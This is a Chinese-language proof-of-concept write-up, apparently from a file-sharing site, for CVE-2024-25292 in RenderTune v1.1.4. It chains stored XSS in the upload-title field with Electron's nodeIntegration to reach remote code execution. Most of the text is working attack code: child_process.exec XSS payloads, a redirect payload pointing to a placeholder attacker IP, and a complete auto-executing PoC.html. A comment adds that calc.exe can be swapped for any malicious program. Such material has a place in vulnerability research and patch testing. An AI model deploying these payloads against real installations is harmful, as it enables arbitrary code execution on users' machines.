三星云服务
27.14M · 2026-04-12
本项目是针对 CVE-2024-25292 漏洞的概念验证(Proof-of-Concept)。该漏洞存在于 RenderTune v1.1.4 中,允许攻击者通过构造恶意负载注入到“上传标题”(Upload Title)参数,从而执行任意 Web 脚本或 HTML 代码,并进一步利用 Electron 框架的配置缺陷实现远程代码执行(RCE)。
nodeIntegration 开启的配置,通过 Node.js 子进程执行系统命令本项目为漏洞演示代码,无需安装额外依赖。运行攻击服务器需要 Python 环境。
# 在存放 PoC.html 的目录下执行
python -m http.server 80
步骤 1:确认标题部分存在 XSS 漏洞(需同时上传图片文件才能注册项目)
<b>jruru</b>
步骤 2:使用 XSS 执行 Node.js 系统命令
<script>require('child_process').exec('C:/Windows/System32/calc.exe')</script>
当应用每次运行时,使用 window.location 自动跳转到攻击者控制的页面。
<script>window.location='http://[attacker IP]/PoC.html'</script>
将以下内容保存为 PoC.html,放置在攻击服务器的 Web 根目录下:
<html>
<head>
<title>jruru Link</title>
</head>
<body>
<a id="jruruLink" href="#" onclick="openExternal()">jruru Link</a>
<script>
function openExternal() {
try {
const { shell } = require('electron');
shell.openExternal('file:C:/Windows/System32/calc.exe');
} catch(e) {
alert('JRURU');
alert(e);
}
}
document.addEventListener('DOMContentLoaded', function() {
openExternal();
});
</script>
</body>
</html>
以下代码演示了页面加载后自动通过 Electron 的 shell 模块打开系统计算器,实现远程代码执行:
// 利用 Electron 的 nodeIntegration 特性,直接调用 Node.js 模块
function openExternal() {
try {
// 从 Electron 中解构 shell 模块
const { shell } = require('electron');
// 打开系统文件路径,实际可替换为任意恶意程序路径
shell.openExternal('file:C:/Windows/System32/calc.exe');
} catch(e) {
alert('JRURU');
alert(e);
}
}
// 页面加载完成后自动触发,无需用户交互
document.addEventListener('DOMContentLoaded', function() {
openExternal();
});
<!-- 基础 XSS 验证 -->
<b>jruru</b>
<!-- 执行 Node.js 命令的 XSS 载荷 -->
<script>require('child_process').exec('C:/Windows/System32/calc.exe')</script>
<!-- 重定向到攻击者服务器的载荷 -->
<script>window.location='http://[attacker IP]/PoC.html'</script>
nodeIntegration 被设置为 true,允许在渲染进程中访问 Node.js APIrequire('child_process').exec() 或 require('electron').shell.openExternal()